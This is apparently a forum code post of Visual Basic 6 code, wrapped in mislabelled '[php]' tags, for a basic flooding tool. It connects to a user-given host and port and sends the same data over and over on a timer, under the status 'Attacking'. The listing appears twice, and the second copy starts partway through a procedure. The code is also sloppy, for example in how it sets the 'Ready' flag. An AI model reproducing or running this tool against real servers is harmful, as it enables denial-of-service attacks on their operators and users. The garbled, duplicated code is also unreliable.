[php]Private Sub txtStart_Click()
txtHost.Text = Replace(txtHost.Text, "http://", "")
SocK.Close
SocK.Connect txtHost, txtPort
lblStatus.Caption = "Status: Connecting"
Timer.Enabled = True
lblSent.Enabled = False
txtHost.Enabled = False
txtPort.Enabled = False
End Sub
Private Sub txtStop_Click()
Timer.Enabled = False
SocK.Close
lblStatus.Caption = "Status: Disconnected"
lblSent.Enabled = True
txtHost.Enabled = True
txtPort.Enabled = True
End Sub
Private Sub Timer_Timer()
If SocK.State <> 0 Then
If lblStatus = "Status: Attacking" Then
If Ready = True Then
SocK.SendData txtData.Text
lblSent.Caption = (lblSent.Caption + 1)
Ready = True
End If
Else
lblStatus = "Status: Attacking"
End If
Else
lblStatus.Caption = "Status: Disconnected"
Timer.Enabled = False
End If
End Sub
[/php]
txtHost.Text = Replace(txtHost.Text, "http://", "")
SocK.Close
SocK.Connect txtHost, txtPort
lblStatus.Caption = "Status: Connecting"
Timer.Enabled = True
lblSent.Enabled = False
txtHost.Enabled = False
txtPort.Enabled = False
End Sub
Private Sub txtStop_Click()
Timer.Enabled = False
SocK.Close
lblStatus.Caption = "Status: Disconnected"
lblSent.Enabled = True
txtHost.Enabled = True
txtPort.Enabled = True
End Sub
Private Sub Timer_Timer()
If SocK.State <> 0 Then
If lblStatus = "Status: Attacking" Then
If Ready = True Then
SocK.SendData txtData.Text
lblSent.Caption = (lblSent.Caption + 1)
Ready = True
End If
Else
lblStatus = "Status: Attacking"
End If
Else
lblStatus.Caption = "Status: Disconnected"
Timer.Enabled = False
End If
End Sub
[/php]